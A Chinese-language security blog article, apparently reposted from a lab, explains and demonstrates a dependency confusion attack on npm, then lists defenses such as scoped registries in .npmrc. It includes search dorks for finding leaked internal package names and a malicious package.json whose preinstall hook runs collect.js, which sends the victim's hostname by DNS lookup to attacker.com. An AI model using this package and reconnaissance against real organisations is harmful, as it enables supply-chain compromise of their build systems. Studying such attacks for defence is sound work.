[前沿技术]依赖混淆攻击实战

admin 2026-05-27 05:36:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 依赖混淆攻击通过注册与目标公司内部私有包同名的高版本恶意包,诱使包管理器优先下载执行攻击代码。文档详细演示了从信息收集(扫描公开仓库、lock文件)、注册恶意包(preinstall脚本DNS外带验证)到防御措施(scope注册、.npmrc配置)的全流程。攻击影响Apple等科技巨头,需加强内部包管理和依赖版本锁定。 综合评分: 82 文章分类: 渗透测试,WEB安全,安全开发,供应链安全,漏洞分析


cover_image

[前沿技术] 依赖混淆攻击实战

原创

Pik安全实验室 Pik安全实验室

Pik安全实验室

2026年5月25日 10:13 广东

在小说阅读器读本章

去阅读

0x00 介绍

依赖混淆(Dependency Confusion)由 Alex Birsan 在 2021 年提出。通过分析目标公司内部使用的私有包名,在公共仓库注册同名包并赋予极高版本号,包管理器会优先下载攻击者的恶意包。Apple、Microsoft、Tesla 等大量科技巨头均受影响。本文将详细演示攻击流程和检测方法。

0x01 攻击原理

包管理器(npm/pip/NuGet)解析依赖时,如果同时存在内部仓库和公共仓库,通常会选择版本号更高的包。攻击者注册的包版本设为 99.99.99,必然被选中。

0x02 实战步骤

Step 1: 信息收集

从 package.json 泄露的内部包名

扫描目标的公开仓库、JS 文件、错误信息

使用 npm-packlist 检查 node_modules

ls -la node_modules/@company-name/

搜索公开的 lock 文件

site:github.com “@target-company” filename:package-lock.json

从错误日志中提取

site:target.com “cannot find module” “@internal”

Step 2: 注册同名包

在 npm 注册与内部包同名的包,版本设为极高(如 999.0.0)。包内 preinstall 脚本在安装时自动执行。

// package.json { “name”: “@company/internal-utils”, “version”: “99.99.99”, “scripts”: {     “preinstall”: “node ./collect.js” } }

// collect.js — DNS 外带验证 const dns = require(‘dns’); const os = require(‘os’); const hostname = os.hostname(); dns.lookup(${hostname}.attacker.com, console.log);

Step 3: 验证与利用

发布后等待目标的 CI/CD 自动构建触发安装。通过 DNS 日志确认代码执行。

0x03 防御

使用 scope 注册(@company/my-package)、npm 组织管理、配置 .npmrc 的 @scope:registry、使用 npm audit 检测、锁定依赖版本。

.npmrc 配置 — 强制内部包走私有仓库

@company:registry=https://npm.company.com/

package.json 中显式声明 registry

“publishConfig”: {   “registry”: “https://npm.company.com/” }

本文仅作安全研究与学习用途,用于非法行为后果自行承担。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Pik安全实验室 Pik安全实验室 Pik安全实验室《[前沿技术] 依赖混淆攻击实战》

评论:0   参与:  0